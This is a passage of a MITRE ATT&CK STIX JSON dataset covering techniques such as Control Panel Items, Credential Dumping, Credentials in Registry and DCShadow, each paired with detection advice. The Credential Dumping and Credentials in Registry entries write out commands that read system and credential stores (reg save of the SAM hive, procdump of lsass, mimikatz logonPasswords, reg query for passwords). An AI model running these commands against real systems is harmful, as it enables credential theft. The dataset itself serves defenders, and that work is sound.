            "description": "Windows Control Panel items are utilities that allow users to view and adjust computer settings. Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013)\n\nFor ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel. (Citation: Microsoft Implementing CPL)\n\nAdversaries can use Control Panel items as execution payloads to execute arbitrary commands. Malicious Control Panel items can be delivered via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) campaigns (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware. (Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension whitelisting.",
            "external_references": [
                {
                    "external_id": "T1196",
                    "url": "https://attack.mitre.org/techniques/T1196",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx",
                    "description": "M. (n.d.). Implementing Control Panel Items. Retrieved January 18, 2018.",
                    "source_name": "Microsoft Implementing CPL"
                },
                {
                    "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf",
                    "description": "Merc\u00eas, F. (2014, January 27). CPL Malware - Malicious Control Panel Items. Retrieved January 18, 2018.",
                    "source_name": "TrendMicro CPL Malware Jan 2014"
                },
                {
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/",
                    "description": "Bernardino, J. (2013, December 17). Control Panel Files Used As Malicious Attachments. Retrieved January 18, 2018.",
                    "source_name": "TrendMicro CPL Malware Dec 2013"
                },
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/",
                    "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.",
                    "source_name": "Palo Alto Reaver Nov 2017"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "API monitoring",
                "Binary file metadata",
                "DLL monitoring",
                "Windows Registry",
                "Windows event logs",
                "Process command-line parameters",
                "Process Monitoring"
            ],
            "x_mitre_defense_bypassed": [
                "Application whitelisting",
                "Process whitelisting"
            ],
            "x_mitre_detection": "Monitor and analyze activity related to items associated with CPL files, such as the Windows Control Panel process binary (control.exe) and the Control_RunDLL and ControlRunDLLAsUser API functions in shell32.dll. When executed from the command line or clicked, control.exe will execute the CPL file (ex: <code>control.exe file.cpl</code>) before [Rundll32](https://attack.mitre.org/techniques/T1085) is used to call the CPL's API functions (ex: <code>rundll32.exe shell32.dll,Control_RunDLL file.cpl</code>). CPL files can be executed directly via the CPL API function with just the latter [Rundll32](https://attack.mitre.org/techniques/T1085) command, which may bypass detections and/or execution filters for control.exe. (Citation: TrendMicro CPL Malware Jan 2014)\n\nInventory Control Panel items to locate unregistered and potentially malicious files present on systems:\n\n* Executable format registered Control Panel items will have a globally unique identifier (GUID) and registration Registry entries in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ControlPanel\\NameSpace</code> and <code>HKEY_CLASSES_ROOT\\CLSID\\{GUID}</code>. These entries may contain information about the Control Panel item such as its display name, path to the local file, and the command executed when opened in the Control Panel. (Citation: Microsoft Implementing CPL)\n* CPL format registered Control Panel items stored in the System32 directory are automatically shown in the Control Panel. Other Control Panel items will have registration entries in the <code>Cpls</code> and <code>Extended Properties</code> Registry keys of <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel</code>. These entries may include information such as a GUID, path to the local file, and a canonical name used to launch the file programmatically (<code> WinExec(\"c:\\windows\\system32\\control.exe {Canonical_Name}\", SW_NORMAL);</code>) or from a command line (<code>control.exe /name {Canonical_Name}</code>). (Citation: Microsoft Implementing CPL)\n* Some Control Panel items are extensible via Shell extensions registered in <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Controls Folder\\{name}\\Shellex\\PropertySheetHandlers</code> where {name} is the predefined name of the system item. (Citation: Microsoft Implementing CPL)\n\nAnalyze new Control Panel items as well as those present on disk for malicious content. Both executable and CPL formats are compliant Portable Executable (PE) images and can be examined using traditional tools and methods, pending anti-reverse-engineering techniques. (Citation: TrendMicro CPL Malware Jan 2014)",
            "x_mitre_permissions_required": [
                "User",
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_remote_support": false,
            "x_mitre_platforms": [
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "defense-evasion",
                    "kill_chain_name": "mitre-attack"
                },
                {
                    "phase_name": "execution",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-04-18T17:59:24.739Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Create Account",
            "description": "Adversaries with a sufficient level of access may create a local system or domain account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.\n\nThe <code>net user</code> commands can be used to create a local or domain account.",
            "external_references": [
                {
                    "external_id": "T1136",
                    "url": "https://attack.mitre.org/techniques/T1136",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://docs.microsoft.com/windows/device-security/auditing/event-4720",
                    "description": "Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.",
                    "source_name": "Microsoft User Creation Event"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Process Monitoring",
                "Process command-line parameters",
                "Authentication logs",
                "Windows event logs"
            ],
            "x_mitre_detection": "Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system and domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain and local system accounts to detect suspicious accounts that may have been created by an adversary.",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_permissions_required": [
                "Administrator"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "persistence",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Credential Dumping",
            "description": "Credential dumping is the process of obtaining account login and password information, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform\u00a0Lateral Movement\u00a0and access restricted information.\n\nSeveral of the tools mentioned in this technique may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.\n\n### Windows\n\n#### SAM (Security Accounts Manager)\n\nThe SAM is a database file that contains local accounts for the host, typically those found with the \u2018net user\u2019 command. To enumerate the SAM database, system level access is required.\n\u00a0\nA number of tools can be used to retrieve the SAM file through in-memory techniques:\n\n* pwdumpx.exe \n* [gsecdump](https://attack.mitre.org/software/S0008)\n* [Mimikatz](https://attack.mitre.org/software/S0002)\n* secretsdump.py\n\nAlternatively, the SAM can be extracted from the Registry with [Reg](https://attack.mitre.org/software/S0075):\n\n* <code>reg save HKLM\\sam sam</code>\n* <code>reg save HKLM\\system system</code>\n\nCreddump7 can then be used to process the SAM database locally to retrieve hashes. (Citation: GitHub Creddump7)\n\nNotes:\nRid 500 account is the local, in-built administrator.\nRid 501 is the guest account.\nUser accounts start with a RID of 1,000+.\n\n#### Cached Credentials\n\nThe DCC2 (Domain Cached Credentials version 2) hash, used by Windows Vista and newer caches credentials when the domain controller is unavailable. The number of default cached credentials varies, and this number can be altered per system. This hash does not allow pass-the-hash style attacks.\n\u00a0\nA number of tools can be used to retrieve the SAM file through in-memory techniques.\n\n* pwdumpx.exe \n* [gsecdump](https://attack.mitre.org/software/S0008)\n* [Mimikatz](https://attack.mitre.org/software/S0002)\n\nAlternatively, reg.exe can be used to extract from the Registry and Creddump7 used to gather the credentials.\n\nNotes:\nCached credentials for Windows Vista are derived using PBKDF2.\n\n#### Local Security Authority (LSA) Secrets\n\nWith SYSTEM access to a host, the LSA secrets often allows trivial access from a local account to domain-based account credentials. The Registry is used to store the LSA secrets.\n\u00a0\nWhen services are run under the context of local or domain users, their passwords are stored in the Registry. If auto-logon is enabled, this information will be stored in the Registry as well.\n\u00a0\nA number of tools can be used to retrieve the SAM file through in-memory techniques.\n\n* pwdumpx.exe \n* [gsecdump](https://attack.mitre.org/software/S0008)\n* [Mimikatz](https://attack.mitre.org/software/S0002)\n* secretsdump.py\n\nAlternatively, reg.exe can be used to extract from the Registry and Creddump7 used to gather the credentials.\n\nNotes:\nThe passwords extracted by his mechanism are\u00a0UTF-16\u00a0encoded, which means that they are returned in\u00a0plaintext.\nWindows 10 adds protections for LSA Secrets described in Mitigation.\n\n#### NTDS from Domain Controller\n\nActive Directory stores information about members of the domain including devices and users to verify credentials and define access rights. The Active Directory domain database is stored in the NTDS.dit file. By default the NTDS file will be located in %SystemRoot%\\NTDS\\Ntds.dit of a domain controller. (Citation: Wikipedia Active Directory)\n \nThe following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.\n\n* Volume Shadow Copy\n* secretsdump.py\n* Using the in-built Windows tool, ntdsutil.exe\n* Invoke-NinjaCopy\n\n#### Group Policy Preference (GPP) Files\n\nGroup Policy Preferences (GPP) are tools that allowed administrators to create domain policies with embedded credentials. These policies, amongst other things, allow administrators to set local accounts.\n\nThese group policies are stored in SYSVOL on a domain controller, this means that any domain user can view the SYSVOL share and decrypt the password (the AES private key was leaked on-line. (Citation: Microsoft GPP Key) (Citation: SRD GPP)\n\nThe following tools and scripts can be used to gather and decrypt the password file from Group Policy Preference XML files:\n\n* Metasploit\u2019s post exploitation module: \"post/windows/gather/credentials/gpp\"\n* Get-GPPPassword (Citation: Obscuresecurity Get-GPPPassword)\n* gpprefdecrypt.py\n\nNotes:\nOn the SYSVOL share, the following can be used to enumerate potential XML files.\ndir /s * .xml\n\n#### Service Principal Names (SPNs)\n\nSee [Kerberoasting](https://attack.mitre.org/techniques/T1208).\n\n#### Plaintext Credentials\n\nAfter a user logs on to a system, a variety of credentials are generated and stored in the\u00a0Local Security Authority Subsystem Service\u00a0(LSASS) process in memory. These credentials can be harvested by a administrative user or SYSTEM.\n\nSSPI (Security Support Provider Interface) functions as a common interface to several Security Support Providers (SSPs):\u00a0A Security Support Provider is a\u00a0dynamic-link library\u00a0(DLL) that makes one or more security packages available to applications.\n\nThe following SSPs can be used to access credentials:\n\nMsv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.\nWdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges. (Citation: TechNet Blogs Credential Protection)\nKerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.\nCredSSP: \u00a0Provides SSO and\u00a0Network Level Authentication\u00a0for\u00a0Remote Desktop Services. (Citation: Microsoft CredSSP)\n\u00a0\nThe following tools can be used to enumerate credentials:\n\n* [Windows Credential Editor](https://attack.mitre.org/software/S0005)\n* [Mimikatz](https://attack.mitre.org/software/S0002)\n\nAs well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.\n\nFor example, on the target host use procdump:\n* <code>procdump -ma lsass.exe lsass_dump</code>\n\nLocally, mimikatz can be run:\n\n* <code>sekurlsa::Minidump\u00a0lsassdump.dmp</code>\n* <code>sekurlsa::logonPasswords</code>\n\n#### DCSync\n\nDCSync is a variation on credential dumping which can be used to acquire sensitive information from a domain controller. Rather than executing recognizable malicious code, the action works by abusing the domain controller's  application programming interface (API) (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller. Any members of the Administrators, Domain Admins, Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data (Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a Golden Ticket for use in [Pass the Ticket](https://attack.mitre.org/techniques/T1097) (Citation: Harmj0y Mimikatz and DCSync) or change an account's password as noted in [Account Manipulation](https://attack.mitre.org/techniques/T1098). (Citation: InsiderThreat ChangeNTLM July 2017) DCSync functionality has been included in the \"lsadump\" module in Mimikatz. (Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol. (Citation: Microsoft NRPC Dec 2017)\n\n### Linux\n\n#### Proc filesystem\n\nThe /proc filesystem on Linux contains a great deal of information regarding the state of the running operating system. Processes running with root privileges can use this facility to scrape live memory of other running programs. If any of these programs store passwords in clear text or password hashes in memory, these values can then be harvested for either usage or brute force attacks, respectively. This functionality has been implemented in the [MimiPenguin](https://attack.mitre.org/software/S0179), an open source tool inspired by [Mimikatz](https://attack.mitre.org/software/S0002). The tool dumps process memory, then harvests passwords and hashes by looking for text strings and regex patterns for how given applications such as Gnome Keyring, sshd, and Apache use memory to store such authentication artifacts.",
            "external_references": [
                {
                    "external_id": "T1003",
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                    "url": "https://capec.mitre.org/data/definitions/567.html",
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                    "url": "https://github.com/mattifestation/PowerSploit",
                    "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.",
                    "source_name": "Powersploit"
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                {
                    "url": "http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/",
                    "description": "Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved August 7, 2017.",
                    "source_name": "Harmj0y Mimikatz and DCSync"
                },
                {
                    "url": "https://adsecurity.org/?p=1729",
                    "description": "Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved August 7, 2017.",
                    "source_name": "ADSecurity Mimikatz DCSync"
                },
                {
                    "url": "https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump",
                    "description": "Deply, B., Le Toux, V. (2016, June 5). module ~ lsadump. Retrieved August 7, 2017.",
                    "source_name": "GitHub Mimikatz lsadump Module"
                },
                {
                    "url": "https://msdn.microsoft.com/library/cc228086.aspx",
                    "description": "Microsoft. (2017, December 1). MS-DRSR Directory Replication Service (DRS) Remote Protocol. Retrieved December 4, 2017.",
                    "source_name": "Microsoft DRSR Dec 2017"
                },
                {
                    "url": "https://msdn.microsoft.com/library/dd207691.aspx",
                    "description": "Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December 4, 2017.",
                    "source_name": "Microsoft GetNCCChanges"
                },
                {
                    "url": "https://wiki.samba.org/index.php/DRSUAPI",
                    "description": "SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017.",
                    "source_name": "Samba DRSUAPI"
                },
                {
                    "url": "https://source.winehq.org/WineAPI/samlib.html",
                    "description": "Wine API. (n.d.). samlib.dll. Retrieved December 4, 2017.",
                    "source_name": "Wine API samlib.dll"
                },
                {
                    "url": "https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM",
                    "description": "Warren, J. (2017, July 11). Manipulating User Passwords with Mimikatz. Retrieved December 4, 2017.",
                    "source_name": "InsiderThreat ChangeNTLM July 2017"
                },
                {
                    "url": "https://adsecurity.org/?p=1729",
                    "description": "Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.",
                    "source_name": "AdSecurity DCSync Sept 2015"
                },
                {
                    "url": "http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/",
                    "description": "Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017.",
                    "source_name": "Harmj0y DCSync Sept 2015"
                },
                {
                    "url": "https://msdn.microsoft.com/library/cc245496.aspx",
                    "description": "Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017.",
                    "source_name": "Microsoft SAMR"
                },
                {
                    "url": "https://msdn.microsoft.com/library/cc237008.aspx",
                    "description": "Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol. Retrieved December 6, 2017.",
                    "source_name": "Microsoft NRPC Dec 2017"
                },
                {
                    "url": "https://github.com/Neohapsis/creddump7",
                    "description": "Flathers, R. (2018, February 19). creddump7. Retrieved April 11, 2018.",
                    "source_name": "GitHub Creddump7"
                },
                {
                    "url": "https://en.wikipedia.org/wiki/Active_Directory",
                    "description": "Wikipedia. (2018, March 10). Active Directory. Retrieved April 11, 2018.",
                    "source_name": "Wikipedia Active Directory"
                },
                {
                    "url": "https://msdn.microsoft.com/library/cc422924.aspx",
                    "description": "Microsoft. (n.d.). 2.2.1.1.4 Password Encryption. Retrieved April 11, 2018.",
                    "source_name": "Microsoft GPP Key"
                },
                {
                    "url": "http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx",
                    "description": "Security Research and Defense. (2014, May 13). MS14-025: An Update for Group Policy Preferences. Retrieved January 28, 2015.",
                    "source_name": "SRD GPP"
                },
                {
                    "url": "https://blogs.technet.microsoft.com/askpfeplat/2016/04/18/the-importance-of-kb2871997-and-kb2928120-for-credential-protection/",
                    "description": "Wilson, B. (2016, April 18). The Importance of KB2871997 and KB2928120 for Credential Protection. Retrieved April 11, 2018.",
                    "source_name": "TechNet Blogs Credential Protection"
                },
                {
                    "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-vista/cc749211(v=ws.10)",
                    "description": "Microsoft. (2008, July 25). Credential Security Service Provider and SSO for Terminal Services Logon. Retrieved April 11, 2018.",
                    "source_name": "Microsoft CredSSP"
                },
                {
                    "url": "https://obscuresecurity.blogspot.co.uk/2012/05/gpp-password-retrieval-with-powershell.html",
                    "description": "Campbell, C. (2012, May 24). GPP Password Retrieval with PowerShell. Retrieved April 11, 2018.",
                    "source_name": "Obscuresecurity Get-GPPPassword"
                }
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            "x_mitre_detection": "### Windows\nCommon credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity.\n\nHash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well. \n\nOn Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.\n\nMonitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like [Mimikatz](https://attack.mitre.org/software/S0002). [PowerShell](https://attack.mitre.org/techniques/T1086) scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module, (Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nMonitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync. (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Note: Domain controllers may not log replication requests originating from the default domain controller account. (Citation: Harmj0y DCSync Sept 2015). Also monitor for network protocols  (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests (Citation: Microsoft SAMR) from IPs not associated with known domain controllers. (Citation: AdSecurity DCSync Sept 2015)\n\n### Linux\nTo obtain the passwords and hashes stored in memory, processes must open a maps file in the /proc filesystem for the process being analyzed. This file is stored under the path <code>/proc/<pid>/maps</code>, where the <code><pid></code> directory is the unique pid of the program being interrogated for such authentication data. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes opening this file in the proc file system, alerting on the pid, process name, and arguments of such programs.",
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            "name": "Credentials in Files",
            "description": "Adversaries may search local file systems and remote file shares for files containing passwords. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n\nIt is possible to extract passwords from backups or saved virtual machines through [Credential Dumping](https://attack.mitre.org/techniques/T1003). (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)",
            "external_references": [
                {
                    "external_id": "T1081",
                    "url": "https://attack.mitre.org/techniques/T1081",
                    "source_name": "mitre-attack"
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                {
                    "external_id": "CAPEC-545",
                    "url": "https://capec.mitre.org/data/definitions/545.html",
                    "source_name": "capec"
                },
                {
                    "url": "http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html",
                    "description": "CG. (2014, May 20). Mimikatz Against Virtual Machine Memory Part 1. Retrieved November 12, 2014.",
                    "source_name": "CG 2014"
                },
                {
                    "url": "http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx",
                    "description": "Security Research and Defense. (2014, May 13). MS14-025: An Update for Group Policy Preferences. Retrieved January 28, 2015.",
                    "source_name": "SRD GPP"
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                "File monitoring",
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            "x_mitre_detection": "While detecting adversaries accessing these files may be difficult without knowing they exist in the first place, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information.",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "description": "The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.\n\nExample commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)\n\n* Local Machine Hive: <code>reg query HKLM /f password /t REG_SZ /s</code>\n* Current User Hive: <code>reg query HKCU /f password /t REG_SZ /s</code>",
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                    "external_id": "T1214",
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                {
                    "url": "https://pentestlab.blog/2017/04/19/stored-credentials/",
                    "description": "netbiosX. (2017, April 19). Stored Credentials. Retrieved April 6, 2018.",
                    "source_name": "Pentestlab Stored Credentials"
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                "Process command-line parameters",
                "Process Monitoring"
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            "x_mitre_detection": "Monitor processes for applications that can be used to query the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives.",
            "x_mitre_permissions_required": [
                "User",
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                "Ability to query some Registry locations depends on the adversary's level of access. User permissions are usually limited to access of user-related Registry keys."
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            "modified": "2018-10-17T00:14:20.652Z",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Custom Command and Control Protocol",
            "description": "Adversaries may communicate using a custom command and control protocol instead of encapsulating commands/data in an existing [Standard Application Layer Protocol](https://attack.mitre.org/techniques/T1071). Implementations include mimicking well-known protocols or developing custom protocols (including raw sockets) on top of fundamental protocols provided by TCP/IP/another standard network stack.",
            "external_references": [
                {
                    "external_id": "T1094",
                    "url": "https://attack.mitre.org/techniques/T1094",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "source_name": "University of Birmingham C2"
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                "Process monitoring",
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                "Network protocol analysis"
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            "x_mitre_network_requirements": true,
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                "Windows"
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            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:31:10.314Z",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Custom Cryptographic Protocol",
            "description": "Adversaries may use a custom cryptographic protocol or algorithm to hide command and control traffic. A simple scheme, such as XOR-ing the plaintext with a fixed key, will produce a very weak ciphertext.\n\nCustom encryption schemes may vary in sophistication. Analysis and reverse engineering of malware samples may be enough to discover the algorithm and encryption key used.\n\nSome adversaries may also attempt to implement their own version of a well-known cryptographic algorithm instead of using a known implementation library, which may lead to unintentional errors. (Citation: F-Secure Cosmicduke)",
            "external_references": [
                {
                    "external_id": "T1024",
                    "url": "https://attack.mitre.org/techniques/T1024",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://www.f-secure.com/documents/996508/1030745/cosmicduke_whitepaper.pdf",
                    "description": "F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.",
                    "source_name": "F-Secure Cosmicduke"
                },
                {
                    "url": "https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf",
                    "description": "Fidelis Cybersecurity. (2015, August 4). Looking at the Sky for a DarkComet. Retrieved April 5, 2016.",
                    "source_name": "Fidelis DarkComet"
                },
                {
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "source_name": "University of Birmingham C2"
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            "x_mitre_data_sources": [
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                "Malware reverse engineering",
                "Process monitoring"
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            "x_mitre_detection": "If malware uses custom encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect when communications do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",
            "x_mitre_network_requirements": true,
            "x_mitre_platforms": [
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                "macOS",
                "Windows"
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            "type": "attack-pattern",
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            "modified": "2018-10-17T00:14:20.652Z",
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            "id": "attack-pattern--564998d8-ab3e-4123-93fb-eccaa6b9714a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "DCShadow",
            "description": "DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a Domain Controller (DC). (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.\n\nRegistering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide)\n\nThis technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1178) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018)",
            "external_references": [
                {
                    "external_id": "T1207",
                    "url": "https://attack.mitre.org/techniques/T1207",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://www.dcshadow.com/",
                    "description": "Delpy, B. & LE TOUX, V. (n.d.). DCShadow. Retrieved March 20, 2018.",
                    "source_name": "DCShadow Blog"
                },
                {
                    "description": "Delpy, B. & LE TOUX, V. (2018, January 24). Active Directory: What can make your million dollar SIEM go blind?. Retrieved March 20, 2018.",
                    "source_name": "BlueHat DCShadow Jan 2018"
                },
                {
                    "url": "https://adsecurity.org/?page_id=1821",
                    "description": "Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.",
                    "source_name": "Adsecurity Mimikatz Guide"
                },
                {
                    "url": "https://github.com/shellster/DCSYNCMonitor",
                    "description": "Spencer S. (2018, February 22). DCSYNCMonitor. Retrieved March 30, 2018.",
                    "source_name": "GitHub DCSYNCMonitor"
                },
                {
                    "url": "https://adds-security.blogspot.fr/2018/02/detecter-dcshadow-impossible.html",
                    "description": "Lucand,G. (2018, February 18). Detect DCShadow, impossible?. Retrieved March 30, 2018.",
                    "source_name": "ADDSecurity DCShadow Feb 2018"
                },
                {
                    "url": "https://msdn.microsoft.com/en-us/library/ms677626.aspx",
                    "description": "Microsoft. (n.d.). Polling for Changes Using the DirSync Control. Retrieved March 30, 2018.",
                    "source_name": "Microsoft DirSync"
                }
            ],
            "object_marking_refs": [
